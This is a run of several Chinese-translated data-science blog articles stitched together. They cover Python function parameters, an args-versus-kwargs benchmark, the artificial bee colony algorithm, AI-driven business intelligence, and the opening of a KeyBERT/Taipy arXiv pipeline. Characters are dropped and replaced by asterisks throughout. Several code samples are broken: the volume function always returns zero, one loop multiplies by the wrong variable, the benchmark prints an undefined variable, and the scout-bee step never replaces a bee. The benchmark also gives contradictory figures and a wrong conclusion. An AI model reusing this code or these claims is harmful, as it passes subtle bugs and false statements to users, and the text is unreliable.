Python 因其多功能性、简洁性和强大的库,已成为数据科学的首选语言。函数凭借其封装可重用代码的能力,在 Python 的数据科学工作流程中发挥着关键作用。理解函数参数和实参的细微差别对于在数据科学背景下充分发挥 Python 函数的真正潜力至关重要。
参数与实参
在 Python 中处理函数时,首先要理解参数和实参之间的区别。参数是函数定义中的变量,而实参是你在调用函数时传入函数参数的值。例如:
def my_func(param1, param2):
print(f"{param1} {param2}")
my_func("Arg1", "Arg2")
# Out:
# Arg1 Arg2
param1
和 param2
是函数参数,而"Arg1"
和"Arg2"
是实参。
位置参数与关键字参数
在这个示例中,“Arg1”和“Arg2”作为位置参数传入。这是因为每个参数相关的参数在函数调用中没有被指定。这意味着由于它们的顺序,“Arg1”占据了param1
的位置,而“Arg2”占据了param2
的位置。
我们可以通过利用关键字参数来改变顺序。这是因为每个参数相关的参数是通过正确的关键字明确定义的。
def my_func(param1, param2):
print(f"{param1} {param2}")
my_func(param2 = "Arg2", param1 = "Arg1")
# Out:
# Arg1 Arg2
这个示例产生的输出与第一次函数调用相同,即使参数的位置被交换,因为每个参数相关的参数是使用相应的关键字定义的。
默认参数
你经常会看到的第二种情况是默认参数。这些参数通常具有一个常见的值或“默认”值,当调用函数时,通常可以忽略这些值。它们通过给参数赋予默认值来在函数定义中设置:
def statement(sentence, print = False):
if print:
print(sentence)
return sentence
在上面的函数中,我们将是否打印的默认值设置为False
。调用函数时可以覆盖此设置:
text = statement(sentence = "Hello there!", print=True)
# Out:
# Hello there!
在处理默认参数时,重要的是要注意在函数定义中,非默认参数不能跟随默认参数。这确保了你最常用和变化的参数在函数定义的开头,并且首先被赋值。
*Args
Python 函数的一个精彩之处在于它们可以接受任意数量的位置参数。这种语法以参数名前加星号的形式出现。按照惯例,这个参数被定义为*args
:
def volumne(*args):
vol= 0
for arg in args:
vol *= arg
return vol
*args
通常作为元组传递给函数,这样我们可以利用迭代。例如,在上面的体积函数中,我们假设传递了任意数量的数字来计算一个多*物体的体积。
然而,一种更安全的实现方式是确保至少传递一个数字开始,同时有一个变量数量的其他*度长度:
def sum(length, *lengths):
v = length
for item in lengths:
v *= length
return v
使用*args
参数允许你将任意数量的位置参数传递给函数,使函数更加灵活,能够处理不同数量的输入。
需要注意的是,在处理*args
时:
-
*args
必须在函数定义中的所有其他位置参数之后出现。 -
每个参数列表中只能有一个
*args
。 -
*args
仅收集位置参数,不包括关键字参数。 -
任何在
*args
之后的参数都被视为常规位置参数。 -
在
*args
之后传递的任何参数必须作为强制关键字参数传递。
**kwargs
另一种选择是接受任意数量的关键字参数。这可以通过在函数定义中用**
前缀参数来完成。按照惯例,这个参数称为**kwargs
。这允许你将键值对作为参数传递给函数,提供了一种灵活的方式来处理函数中的命名参数。
一个例子是创建具有键和值的 HTML 标签:
def tag(name, **attributes):
result = "<" + name
for key, value in attributes.items():
result += f' {key}="{str(value)}"'
result += ">"
return result
要利用**kwargs
,你必须确保:
-
*args
必须始终在**kwargs
之前出现在参数列表中。 -
**kwargs
必须总是放在参数列表的最后。
仅位置参数
在 Python 3.8 之后,你还可以指定仅位置参数。这通过在参数列表的末尾添加/
来完成,表示该参数只能是位置参数。
def number_length(x, /):
return len(str(x))
在这个例子中,你不能将值作为关键字传递给 x 参数,x 必须是一个位置参数。
这也可以与常规参数结合使用,以确保某些参数是位置参数,而其他参数可以是位置参数或关键字参数。
def greet(name, /, greeting="Hello")
return f"{greeting}, {name}"
在这个例子中,greeting
可以通过位置或关键字传递给函数,而 name
只能通过位置传递。
当参数有自然顺序但很难给出良好的描述性名称时,这可能很有用。它还允许你重构代码而不必过于担心依赖这些名称的代码。
仅关键字参数
另一种方式是指定仅关键字参数。这通过在函数定义中的参数列表前添加一个*
来完成。在*
后的参数必须是关键字:
def to_fahrenheiht(*, celsius):
return 32 + celsius * 9 / 5
在这个例子中,celsius
是一个仅关键字参数,因此如果你尝试基于位置而不使用关键字来指定它,Python 会抛出错误。
这在你想确保正确的值被传递到函数中时非常有用。在这种情况下,我们确保传递给函数的是摄氏度,而不是华氏度或开尔文。
类型提示
最后,从 Python 3.5 起,你现在可以提示参数应该期望什么类型。这遵循以下语法:
<paramater_name>: <paramater_type> = <paramater_value>
例如,提示你希望在函数中将两个数字相加:
def add_numbers(num1: float, num2: float):
return num1 + num2
需要注意的是,这并不强制类型,而只是用来建议和提示应该传递给函数的类型。重要的是,现代 IDE 现在可以识别类型提示,并在传递错误类型时提供警告。
总结
掌握 Python 中的函数参数对于任何寻求优化工作流的数据科学家来说都是一项关键技能。通过对函数参数的深入理解,你可以编写更简洁、清晰的代码,促进可重用性、模块化和可*护性。因此,拥抱 Python 函数参数的多样性和复杂性,继续探索 Python 函数的深度,并尝试不同的参数模式,以改善你的编码工作流。
如果你喜欢你所读的内容,还不是 Medium 会员,可以通过下面的推荐链接注册 Medium,以支持我和平台上的其他优秀作者!提前感谢。
## 使用我的推荐链接加入 Medium — Philip Wilkinson
作为 Medium 会员,你的会员费的一部分将分配给你阅读的作者,你可以完全访问每个故事……
或者随时查看我在 Medium 上的其他文章:
从 Python 中的基本数据结构到抽象数据类型
UCL 数据科学社团: Python 介绍,数据科学家工具包,使用 Python 进行数据科学
UCL 数据科学社团研讨会 14: 随机森林分类器是什么,实施,评估和改进
Args 与 kwargs:在 Python 中调用函数的最快方式是什么?
timeit
模块的清晰演示
·发表于 Towards Data Science ·阅读时间 3 分钟·2023 年 2 月 6 日
--
决战时刻(作者提供的图片)
你是否曾经想过使用关键字调用函数是否比不使用关键字更慢?换句话说:位置参数(myfunc('mike', 33)
)和kwargs(myfunc(name='mike', age=33)
)哪个更快?
在这篇简短的文章中,我们将探讨牺牲传递关键字参数的可读性与按位置传递参数是否值得。我们使用timeit
模块设置基准测试并比较结果。没有太复杂的内容;让我们开始编码吧!
该函数
为了基准测试函数调用的性能,我们首先需要一个可以调用的函数:
def the_func(arg1, arg2):
pass
这个函数仅包含一个pass
语句,意味着这个函数本身什么都不做。这确保了我们可以单独分析和比较调用函数的方式(即按位置调用还是使用 kwargs)。
轻松的 Python 代码编译,实现飞快的应用程序
towardsdatascience.com
基准测试脚本
接下来,我们需要一些代码来多次调用函数并记录函数执行所需的时间:
import timeit
number = 25_000_000
repeat = 10
times_pos: [float] = timeit.repeat(stmt="func('hello', 'world')", globals={'func': the_func}, number=number, repeat=repeat)
times_kwarg: [float] = timeit.repeat(stmt="func(arg1='hello', arg2='world')", globals={'func': the_func}, number=number, repeat=repeat)
这就是timeit
模块的作用。我们使用timeit.repeat
来测量运行函数若干次的时间。我们在stmt
中定义函数调用,并使用globals
字典将func
映射到我们之前定义的函数。然后我们使用repeat
参数多次重复实验。最终我们得到一个包含 10 个浮点数的数组:每个数值表示运行函数调用 2500 万次的结果。
如何使用 OpenCV 进行图像分析 - 初学者创建运动检测器 [## 使用 OpenCV 检测运动 - 图像分析初学者指南
如何使用 OpenCV 检测和分析移动对象
如何使用 OpenCV 进行图像分析 - 初学者创建运动检测器
查看结果
使用下面的代码,我们获取timeit
提供的浮点数列表,并显示最*值、最大值和平均执行时间。
print("\t\t\t min (s) \t max (s) \t avg (s)")
print(f"pos: \t\t {min(times_pos):.5f} \t {max(times_pos):.5f} \t {sum(times_pos) / len(times_pos):.5f}")
print(f"arg only: \t {min(times_arg_only):.5f} \t {max(times_arg_only):.5f} \t {sum(times_arg_only) / len(times_arg_only):.5f}")
完成了!让我们进行一些基准测试!
如何在 Python 中建立数据库连接 - 绝对初学者 [## 如何在 Python 中建立数据库连接 - 绝对初学者
3 个步骤(加上示例)连接 MS SQL Server、MySQL、Oracle 和其他许多数据库
结果
结果如下:
min (s) max (s) avg (s)
pos: 1.38941 1.72278 1.58808
kwarg: 1.72834 1.76344 1.75132
min (s) max (s) avg (s)
pos: 2.07883 2.77485 2.35694
kwarg: 2.05186 3.05402 2.74669
看起来,平均而言,位置参数比0.39 秒快,或者稍微超过16.5%。不过请注意,位置参数在调用函数时快0.39 秒,这是基于函数调用了2500 万次的情况。
这意味着选择位置参数而非关键字参数可以节省约16 纳秒的时间;这是光线穿越约 4.8 米(16 英尺)距离所需的时间。
为什么 Python 这么慢以及如何加快速度 [## 为什么 Python 这么慢以及如何加快速度
看一看背后的瓶颈在哪里
结论
让我们从主要结论开始:不要因为性能问题而停止使用关键字参数!我个人喜欢使用关键字参数,因为它使代码更具可读性,并减少了混淆参数的可能性。在这篇文章中,我们看到使用关键字参数带来了微不足道的性能提升。为了可读性而接受几纳秒的速度损失,还是值得的。
我希望这篇文章的内容能够达到我的期望,但如果没有,请告诉我如何进一步澄清。同时,查看我关于各种编程相关话题的其他文章,例如:
编程愉快!
— Mike
附言:喜欢我做的事情吗? 关注我!
[## 通过我的推荐链接加入 Medium — Mike Huls
阅读 Mike Huls 和数千名其他 Medium 作者的所有故事。你的会员费直接支持 Mike…
mikehuls.medium.com](https://mikehuls.medium.com/membership?source=post_page-----afb2e817120--------------------------------)
人工蜂群 — 它与粒子群优化的不同之处
原文:
towardsdatascience.com/artificial-bee-colony-how-it-differs-from-pso-9c6831bfb552
ABC 的直觉和代码实现,以及探索其超越粒子群优化的地方
·发表于Towards Data Science ·10 分钟阅读·2023 年 12 月 18 日
--
图像由 DALL·E 3 基于“绘制一个科幻主题的蜜蜂对抗战斗”的提示生成。
我在近期文章中分享了粒子群优化(PSO)的直觉、实现及其有用性,作为我自然启发算法系列的一部分。今天,我将解释人工蜂群(ABC)如何工作。
蜜蜂不就是群体的一部分吗?这两种算法难道只是同一枚硬币的两面?
对于这篇文章,我将直接进入 ABC 的直觉部分。接下来,我将提供数学基础,然后介绍 Python 实现。最后,我将制定一个 PSO 无法解决但 ABC 轻松解决的问题,并解释使这一切成为可能的 ABC 方面。
直觉
就像在强化学习和进化算法的情况下,ABC 的一个基本驱动因素是探索与开发之间的平衡。
对于初次接触群体智能算法的人来说,最初可能会被生物学的联系所吓到,认为需要一些复杂的数学建模来模拟自然界中实际发生的情况。由于教科书中变量通常用希腊字母表示,这增加了这种复杂性的误解。
至少对于 ABC 来说情况并非如此。你不需要了解蜜蜂的摇摆舞,也没有超出高中数学的内容。
实质上,它只是对有前景的位置进行局部方向性搜索,仅在目标函数有所改进时保存结果,并在遇到长时间没有进展时进行全局随机搜索。
该算法的创作者随后为其起了华丽的名字,并将这些标签分别附加给雇佣蜂、旁观蜂和侦查蜂。
解的形成
像 PSO 一样,ABC 是一种元启发式算法?
什么是“元启发式方法”,你可能会问?
让我们从一个启发式解决方案开始——这是一种技术,尽管不保证最优,但通常在实践中表现良好,能提供足够好的结果。
“元”在“元启发式方法”中不是指 Facebook。它是一种“高级”的启发式方法——它是可以应用于不同类型问题的一种通用策略。因此,理解这些原则对你有利;数学部分将会轻松跟随。
数学
考虑一个具有 D *度的解空间的问题。初始化时,使用 [1] 生成 N 个解决方案。
实际上,简单地用向量或矩阵形式表示更为方便。
‘雇佣蜂’阶段只是围绕每个源 i 进行局部方向性搜索,相对于随机选择的邻居 k。词语‘邻居’可能会误导——它仅仅是另一个候选解决方案,并不一定需要在附近。与在局部搜索中进行随机高斯扰动相比,这种方向性方面通常在实践中表现更好。(这就是元启发式方法的核心所在。)
ϕ 是从 [-1,1] 的均匀分布中抽取的随机数向量,即。
xi_hat = xi + np.random.uniform(-1, 1, D) * (xi - xk)
尽管邻居 k 是随机选择的,但请记住,每个邻居在其自身的权利下都是潜在的良好解决方案。你可能会读到,ABC 的原始形式实际上仅在一个*度 j 上引入扰动。然而,在实践中,同时在多个*度上进行扰动可以减少迭代次数。(这本质上是进行更积极的探索——如同启发式方法,没有“不可置疑的真理”可循;我们只是寻找有效的方法。)
(蜂群图像来源于 DALL·E 3;由作者整理。)考虑二*空间中的解 i 和邻居 k。假设 phi,即随机向量为 [0.5, 0.1]。这意味着解 i 将在第一个*度(水平)上调整 50% 朝向 k,在第二个*度(垂直)上调整 10% 朝向 k——如果 x 处的目标值高于 i 处的目标值,则会保存并更新。
接下来,我们进入‘旁观者蜜蜂’阶段。根据适应度(例如目标函数的值)评估每个候选解,并根据相对适应度的概率分布选择其中之一。
如同进化算法的情况一样,并非绝对必要保持轮盘选择,还有其他选择技术,如锦标赛选择(有关详细信息,请参见链接文章的第 3.2.2 节)。
在第二阶段,有更强的开发元素,因为‘邻居’可能具有较好的适应度,并且相对于它进行定向搜索。
(DALL·E 3 生成的蜜蜂图片;由作者整理。)在‘旁观者蜜蜂’阶段进行搜索。对 x 处的解进行修改,相对于选择的 s 处解。请注意,新关注点的评估不一定在实心蓝色双箭头上。相反,它可以在蓝色三角形内的任何位置(如果你使用一个从[0,1]均匀分布中抽取随机数的修改 phi),甚至在从[-1,1]分布中抽取的绿色三角形内。
在‘雇佣蜜蜂’和‘旁观者蜜蜂’阶段,如果新解(即类比中的食物源)没有比现有解更好,则相应的计数器增加 1。另一方面,如果有改进,则更新解,下一次搜索将以此新位置为基础。
之后是‘侦查蜜蜂’阶段。如果计数器超过预定义的阈值,相应的候选者将被淘汰,并在整个解空间中随机重新初始化一个新候选者。在蜜蜂的类比中,这个过程代表了食物源的枯竭。在数据科学中,这意味着我们将候选者视为局部最优(也可能是全局最优)。
代码实现
参考文献[1]中的 C++实现实际上跨越了三整页,包含了近 200 行代码。
我将提供一个少于 60 行的简单 Python 实现,代码易于阅读。更重要的是,它有效。
ABC 的基本单位是Bee
,它类似于 PSO 中的粒子,因为它代表一个候选解。
class Bee:
def __init__(self, n_dim, param_limits=(-5, 5)):
self.low = param_limits[0]
self.high = param_limits[1]
self.pos = np.random.uniform(
low=self.low, high=self.high, size=(n_dim,)
)
self.fitness = -1e8
self.counter = 0
def explore(self, neighbour, task):
phi = np.random.uniform(-1, 1, len(self.pos))
new_pos = self.pos + phi * (self.pos - neighbour.pos)
new_pos = np.clip(new_pos, self.low, self.high)
new_fitness = task.score(new_pos)
if new_fitness > self.fitness:
self.pos = new_pos
self.fitness = new_fitness
self.counter = 0
else:
self.counter += 1
每个Bee
都有一个explore
方法,它根据另一个候选者更新其位置。更新与此新位置对应的适应度。如果超过之前的记录,将更新其pos
和fitness
属性,否则self.counter
增加 1。
第二个也是最后一个类是Colony
,它包含了多个Bee
实例。
class Colony:
def __init__(self, n_dim, n_population, param_limits):
self.n_dim = n_dim
self.bees = [Bee(n_dim, param_limits) for _ in range(n_population)]
self.best_solution = np.zeros(n_dim)
self.best_fitness = -1e8
self.limit = 10
def solve(self, task, num_iterations):
for _ in tqdm(range(num_iterations)):
# 'Employed bee' Phase
for bee in self.bees:
partner_idx = np.random.randint(len(self.bees))
bee.explore(self.bees[partner_idx], task)
# 'Onlooker bee' Phase
fitnesses = np.array([bee.fitness for bee in self.bees])
probs = fitnesses / fitnesses.sum()
for _ in range(len(self.bees)):
bee_idx = np.random.choice(range(len(self.bees)), p=probs)
self.bees[bee_idx].explore(np.random.choice(self.bees), task)
# 'Scout bee' Phase & Update best solution
for bee in self.bees:
if bee.counter > self.limit:
bee = Bee(self.n_dim, (bee.low, bee.high))
if bee.fitness > self.best_fitness:
self.best_fitness = bee.fitness
self.best_solution = deepcopy(bee.pos)
return self.best_solution
注意到在每次迭代中,每只Bee
类的蜜蜂都会执行‘雇佣蜂’阶段、‘观察蜂’阶段以及‘侦查蜂’阶段。它们不是不同的实体。本质上,我们只是跨每次迭代实现了探索和开发的元素。
既然我们有 PSO,为什么还需要 ABC?
到目前为止,我们已经了解了人工蜂群的直觉,并对数学和代码实现进行了逐步讲解。
作为一种元启发式算法,ABC 可以以多种不同方式使用。然而,让我们专注于一个特定场景,在该场景中,ABC 相对于 PSO 具有优势,这也是我在上一篇文章最后一段中承诺的内容。
ABC 非常有能力摆脱局部最优,不会被‘困住’。
为什么 ABC 能够解决 PSO 无法解决的问题?既然我们在 ABC 和 PSO 中都*持了一个候选解的种群,它们不应该以相同的方式工作吗?
-
关键原因在于‘侦查蜂’阶段,它在进展减缓时会随机探索解决空间的新区域。
-
此外,‘雇佣蜂’和‘观察蜂’阶段的探索比 PSO 更具攻击性(有可能不仅朝向而且远离其他候选点),而 PSO 则倾向于朝向全局最优和局部最优。
当然,通过远离另一个候选点,我们可能确实是在倒退而不是前进。这给我们一个重要的原则 — 我们只保留好的东西。(这类似于为什么进化算法中的突变会导致改进)。在Bee.explore
中,注意到self.pos
仅在self.fitness
有所改善时才会被覆盖。
为了说明 ABC 的有效性,让我们创建一个具有多个局部最优点的目标函数,并使用 ABC 和 PSO 两者来求解它。
问题的公式化
考虑一个如下所示的简单二*问题,由以下代码生成。(请注意,这个函数本身是一个有用的学习点,对于那些想要创建测试优化算法环境的人来说。)
x = np.linspace(-5, 5, 100)
y = np.linspace(-5, 5, 100)
x, y = np.meshgrid(x, y)
def multipeak(x, y):
peak1 = 0.5 * np.exp(-((x-1)**2 + (y-1)**2))
peak2 = 0.6 * np.exp(-((x+1)**2 + (y-1)**2))
peak3 = 0.7 * np.exp(-((x-1)**2 + (y+1)**2))
peak4 = 0.8 * np.exp(-((x+3)**2 + (y+3)**2))
return np.maximum.reduce([peak1, peak2, peak3, peak4])
z = multipeak(x, y)
print("z.shape: ", z.shape)
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
surface = ax.plot_surface(x, y, z, cmap='inferno')
ax.set_xlabel('X')
ax.set_ylabel('Y')
plt.title('Surface Plot')
fig.colorbar(surface, shrink=0.6, aspect=8)
plt.show()
具有全局最优值 0.8 和局部最优值 0.5 至 0.7 的函数。图像由作者提供,使用 Python 生成。
我之前在本系列的第一篇文章中介绍了解决高*数学方程的价值主张,以位置规划为例(‘用例’部分;就在开头)。
在上述二*问题中,我们看到有四个峰值,每个峰值的大*略有不同。三个峰值位于搜索空间的中心附近,而第四个峰值(最高的那个)位于远离其他峰值的角落。这样做的目的是展示一个可能会选择局部最优而不是全局最优的问题。
一个现实问题通常具有更高的*度。让我们将上述内容扩展到创建一个 8 *函数。
def full_blackbox(x1, y1, x2, y2, x3, y3, x4, y4):
peak1 = 0.5 * np.exp(
-((x1-1)**2 + (y1-1)**2 + (x2-1)**2 + (y2-1)**2 + (x3-1)**2 + (y3-1)**2 + (x4-1)**2 + (y4-1)**2)
)
peak2 = 0.6 * np.exp(
-((x1+1)**2 + (y1-1)**2 + (x2+1)**2 + (y2-1)**2 + (x3+1)**2 + (y3-1)**2 + (x4+1)**2 + (y4-1)**2)
)
peak3 = 0.7 * np.exp(
-((x1-1)**2 + (y1+1)**2 + (x2-1)**2 + (y2+1)**2 + (x3-1)**2 + (y3+1)**2 + (x4-1)**2 + (y4+1)**2)
)
peak4 = 0.8 * np.exp(
-((x1+2)**2 + (y1+2)**2 + (x2+2)**2 + (y2+2)**2 + (x3+2)**2 + (y3+2)**2 + (x4+2)**2 + (y4+2)**2)
)
return np.maximum.reduce([peak1, peak2, peak3, peak4])
这里,x1、y1、x2、y2、x3、y3、x4、y4 只是一个向量的不同*度。你可以把这些看作四个位置的坐标,它们共同构成了解决方案。
可以看到,点 (1,1,1,1,1,1,1,1)、(-1,1,-1,1,-1,1,-1,1) 和 (1,-1,1,-1,1,-1,1,-1) 分别是局部最优点,其值为 0.5、0.6 和 0.7。同时,全球最优点位于 (-2,-2,-2,-2,-2,-2,-2,-2),目标值为 0.8。
根据我一贯的面向对象的做法,我们来定义以下类。
class Task:
def __init__(self):
pass
def score(self, x_arr, with_noise=False):
if with_noise:
return full_blackbox(*x_arr) + 0.1*np.random.randn()
else:
return full_blackbox(*x_arr)
这使得它不仅与当前的 ABC 代码兼容,还与上述链接文章中共享的 PSO 代码兼容。
结果
使用建立的类,解决用例只需几行代码。
对于 PSO:
task = Task()
swarm = Swarm(n_dim=8, n_population=2000, param_limits=(-5, 5))
solution = swarm.solve(task, 500)
print(solution)
print(task.score(solution))
粒子群优化的结果(作者截图)。在 52 秒内获得了 0.7 的目标值。
对于 ABC:
task = Task()
colony = Colony(n_dim=8, n_population=2000, param_limits=(-5, 5))
best_solution = colony.solve(task, 500)
print(best_solution)
print(task.score(best_solution))
人工蜂群的结果(作者截图)。在 20 秒内获得了 0.8 的目标值。
我们这里有一个赢家!不仅 ABC 找到了真实的全局最优点,而且用时不到一半。自己试试看吧!
结论
我们看到,作为一种元启发式算法,人工蜂群在平衡探索和利用方面非常有效。本文展示了涉及的数学只是简单的线性代数,并且直觉上实际上不需要任何生物学或蜜蜂的知识。
使用此方法,你可以用几行代码解决多*优化问题,并在几秒钟内获得最优解。
恭喜!又一个实用的工具在你的工具箱里!
参考文献
[1] B. Akay 和 D. Karaboga,《人工蜂群算法》在群体智能算法一书中(2020 年)CRC 出版社。
数据分析中的人工智能
原文:
towardsdatascience.com/artificial-intelligence-in-analytics-f11d2deafdf0
AI 驱动的商业智能。是炒作还是现实?
·发表于Towards Data Science ·阅读时间 5 分钟·2023 年 11 月 18 日
--
由vackground.com在Unsplash上的照片
我们生活在一个迷人的时代,人工智能(AI)正在改变我们做事的方式。这包括数据管道设计和分析。今天我想讨论的是 AI 如何推动自动化大数据分析和报告。如果你在阅读这篇文章,肯定对商业智能(BI)有所了解。在我将近 15 年的分析职业生涯中,关于人工智能对 BI 的影响一直是一个持续讨论的话题。很难说哪个更重要:AI 与 BI 的融合及其巨大潜力,还是围绕它的各种热议。这一叙述反映了我对 AI 在分析和商业智能中不断演变作用的个人观点和信仰。
公司旨在根据每分钟收集的大量数据做出更好的决策。BI 作为一个学科,旨在分析这些数据,以生成可能具有一定货币价值的洞察。这反过来赋予了竞争优势。然而,BI 在这方面的效果有限。这就是 AI 发挥作用的地方,带来了 AI 驱动的增强流程自动化的所有好处。那么它是如何具体工作的呢?
AI 驱动的商业智能。是炒作还是现实?
这只是另一种短暂的火花,还是它将改变我们进行分析的方式?
AI/BI 融合及其好处
毋庸置疑,BI 是任何数据平台设计中的重要组成部分,但它有内在的缺陷,限制了它能为业务提供的价值。
分析是 BI 的内在任务,而 BI 多年来的主要关注点是数据可视化。问题在于,BI 本身无法预测数据结果,也不能提出建议。
预测性 AI 功能
以Sisense的预测趋势能力为例[1]。这是一种非常基础的线性回归练习,融入了一个强大的 BI 工具中。这是一个管理特性,因此分析师无需担心回归模型本身。BI 工具全权处理,且其 AI 引擎具有以下模型:
-
先知
-
霍尔特-温特斯
-
随机森林
-
自动 ARIMA
如果我们将 AI 视为教机器具备如解决问题和学习等人类能力的过程(官方定义),那么它对 BI 的潜在影响就变得显而易见。AI 驱动的 BI 能力可以消除这些限制。我们不仅可以使用 AI 来理解文本,还可以理解用户可能想要什么,并生成进一步的建议。
自然语言
在许多方面,AI 帮助业务利益相关者找到他们所需的信息和洞见。例如,在我之前的故事中,我提到像Sisense(Simply Ask)[2]和Thoughtspot这样的 BI 工具使用 AI 驱动的直观“类似 Google 的搜索界面”[3],从任何现代数据仓库解决方案中获取数据洞见,即 Google Big Query、Redshift、Snowflake 或 Databricks。
平台特定工具和高级技术
[towardsdatascience.com
在我看来,增强的商业智能自动化是 AI 改变 BI 过程的最重要方式。
时间就是金钱,事实就是如此。如果 AI 能更快地生成洞见,那么它就是一种值得进一步在 BI 过程中实施的技术改进。使用人工智能的企业在收入生成和整体运营表现方面超越了竞争对手。
另一个很好的例子是Duet AI [4]集成到 Google 的 Looker BI 解决方案中。只需几句话,Looker 用户就可以创建计算字段、公式、高级报告,甚至更多——在 Google Slides 中创建整个演示文稿。
现在,从数据中获取洞见就像 Google 搜索一样简单。
低代码集成
一些工具甚至更进一步,不仅启用聊天风格的数据探索,还支持低代码或无代码的 ML 模型创建、管理和部署[5]。例如,DOMO.AI提供了一个具有低代码交互的 ML 模型管理系统,我们可以连接OpenAI适配器来导入、配置和训练模型。
AI 驱动的解释
许多 BI 工具将提供叙述和解释功能。它是如何工作的?报告背后的 AI 分析所有元素(字段或字段组合),这些元素在数据收集中的特定点(时间、地点等)造成了变化。例如,它可以识别设备类别
是收入
某种增加的可能解释。
AI 与 BI 配对和协作的最一致例子之一是 AI 可以基于 BI 数据建议最终用户该做什么。设想一个包含促销和其他活动的营销报告。当营销团队与这些洞察互动时,AI 可以建议如何优化新活动以针对特定受众或其他促销事件。
分割
另一个很好的例子是 AI 如何在 BI 中帮助分割。例如,AI 驱动的报告解决方案在生成如何优化不同用户群体的再营销建议时,可以提供集群示例。例如,启用Tableau 的 Einstein Discovery [6]后,我们将获得改善预测结果的建议。它迅速处理数百万行数据,揭示重要的相关性,预测结果,并推荐提升预期结果的策略。
结论
商业智能作为一个概念,指的是自动化大数据处理和分析的系统。商业智能的全部价值在于将大量数据分解为详细的洞察,但作为一个过程,它也有一定的局限性。它有助于从总体上了解更广泛的商业图景。随着 AI 的发展,从公司数据中获取洞察应该像查询 Google 一样简单。AI 自动化是一项备受欢迎的商业功能,因为企业将精力集中在建立渠道和降低与改善用户体验相关的开销成本上。使用人工智能的公司在收入生成和整体运营表现方面超过了竞争对手。尽管如此,许多公司在将 AI 融入其分析中时仍然滞后。这在 BI 领域中是一个明显的趋势,几乎每个解决方案都尝试通过将关键模型发现的特性带入语义模型来进行特性影响分析 [6]。如果你是公司高管,值得阅读几本关于 AI 驱动分析的书籍。
推荐阅读
[1] docs.sisense.com/main/SisenseLinux/forecasting-future-results.htm
[2] docs.sisense.com/main/SisenseLinux/simply-ask-query-in-natural-language.htm
[3] docs.thoughtspot.com/cloud/latest/search-sage
[5] ai.domo.com/
[6] help.tableau.com/current/pro/desktop/en-us/einstein_discovery_predictions.htm
[7] www.atscale.com/product/ai-link/
arXiv 关键词提取与分析管道,使用 KeyBERT 和 Taipy
构建一个包括前端用户界面和后端管道的关键词分析 Python 应用程序
·发表于 Towards Data Science ·阅读时间 12 分钟·2023 年 4 月 18 日
--
由 Marylou Fortier 提供,来源于 Unsplash
随着来自社交媒体、客户评论和在线平台的文本数据量呈指数级增长,我们必须能够理解这些非结构化数据。
关键词提取和分析是强大的自然语言处理(NLP)技术,帮助我们实现这一目标。
关键词提取 涉及自动识别和提取给定文本中最相关的词汇,而 关键词分析 则涉及分析这些关键词,以洞察潜在的模式。
在这份逐步指南中,我们将探讨如何利用强大的工具 KeyBERT 和 Taipy 构建一个关键词提取和分析管道及网页应用程序,应用于 arXiv 摘要。
目录
(1) 背景(2) 工具概述(3) 逐步指南(4) 总结
这里是本文的 GitHub 仓库。
(1) 背景
由于人工智能(AI)和机器学习研究的迅速进展,每天跟踪大量发表的论文可能具有挑战性。
关于这类研究, arXiv 无疑是领先的信息来源之一。arXiv(发音为‘archive’)是一个开放获取的档案馆,收藏了大量涵盖计算机科学、数学等各学科的科学论文。
arXiv 截图 | 图像使用 CC 2.0 许可证
arXiv 的一个关键特性是它为每篇上传到平台上的论文提供摘要。这些摘要是理想的数据源,因为它们简洁、富含技术词汇,并包含领域特定术语。
因此,我们将利用最新的 arXiv 摘要批次作为此项目中处理的文本数据。
目标是创建一个网络应用程序(包括前端界面和后端管道),用户可以根据特定输入值查看 arXiv 摘要的关键词和关键短语。
完成的应用程序用户界面截图 | 作者提供的图像
(2) 工具概述
在这个项目中,我们将使用三种主要工具:
-
arXiv API Python 包装器
-
KeyBERT
-
Taipy
(i) arXiv API Python 包装器
arXiv 网站提供了公共 API 访问,以最大化其开放性和互操作性。例如,为了在我们的 Python 工作流程中检索文本摘要,我们可以使用 arXiv API 的 Python 包装器。
arXiv API Python 包装器提供了一组函数,用于在数据库中搜索符合特定条件的论文,如作者、关键词、类别等。
它还允许用户检索有关每篇论文的详细元数据,如标题、摘要、作者和出版日期。
(ii) KeyBERT
KeyBERT(源自“keyword”和“BERT”)是一个 Python 库,提供了一个易于使用的界面来使用 BERT 嵌入和余弦相似度,以提取文档中最能代表文档本身的词汇。
KeyBERT 工作原理的示意图 | 图像使用 MIT 许可证
KeyBERT 的最大优势在于其灵活性。它允许用户轻松修改基础设置(例如参数、嵌入、分词)以实验和微调获得的关键词。
在这个项目中,我们将调整以下参数集:
-
返回的顶级关键词数
-
单词 n-gram 范围(即最*和最大 n-gram 长度)
-
多样化算法(最大总和距离 或 最大边际相关性),它决定了提取关键词的相似度定义方式。
-
候选数(如果设置了最大总和距离)
-
多样性值(如果设置了最大边际相关性)
两种多样化算法(最大和距离和最大边际相关性)共享相同的基本思想,即平衡两个目标:检索与查询高度相关的结果,并且内容多样以避免彼此之间的冗余。
(iii) Taipy
Taipy 是一个开源的 Python 应用程序构建工具,使开发人员和数据科学家能够迅速将数据和机器学习算法转换为完整的 web 应用。
尽管设计为低代码库,Taipy 还提供了高度的用户自定义。因此,它非常适合广泛的使用案例,从简单的仪表板到生产就绪的工业应用。
Taipy 组件 | 作者提供的图片
Taipy 有两个关键组件:Taipy GUI 和 Taipy Core。
-
Taipy GUI:一个简单的图形用户界面构建工具,使我们能够轻松创建交互式前端应用界面。
-
Taipy Core:一个现代的后端框架,能够高效地构建和执行管道和场景。
虽然我们可以独立使用 Taipy GUI 或 Taipy Core,但将两者结合使用可以高效地构建强大的应用程序。
(3) 分步指南
如前面在上下文部分提到的,我们将构建一个 web 应用,提取和分析选定的 arXiv 摘要的关键词。
以下图示说明了数据和工具如何集成。
项目概述 | 作者提供的图片
让我们开始创建上述管道和 web 应用的步骤。
第 1 步 — 初始设置
我们首先使用下面显示的相应版本,通过 pip 安装必要的 Python 库:
第 2 步 — 设置配置文件
由于将使用许多参数,将它们保存在单独的配置文件中是理想的。以下 YAML 文件 config.yml
包含初始的配置参数值。
配置文件设置好后,我们可以通过以下代码将这些参数值轻松导入到其他 Python 脚本中。
with open('config.yml') as f:
cfg = yaml.safe_load(f)
第 3 步 — 构建函数
在此步骤中,我们将创建一系列 Python 函数,这些函数构成管道的重要组件。我们创建一个新的 Python 文件 functions.py
来存储这些函数。
(3.1) 检索和保存 arXiv 摘要和元数据
第一个要添加到 functions.py
的函数是用于通过 arXiv API Python 包从 arXiv 数据库中检索文本摘要的函数。
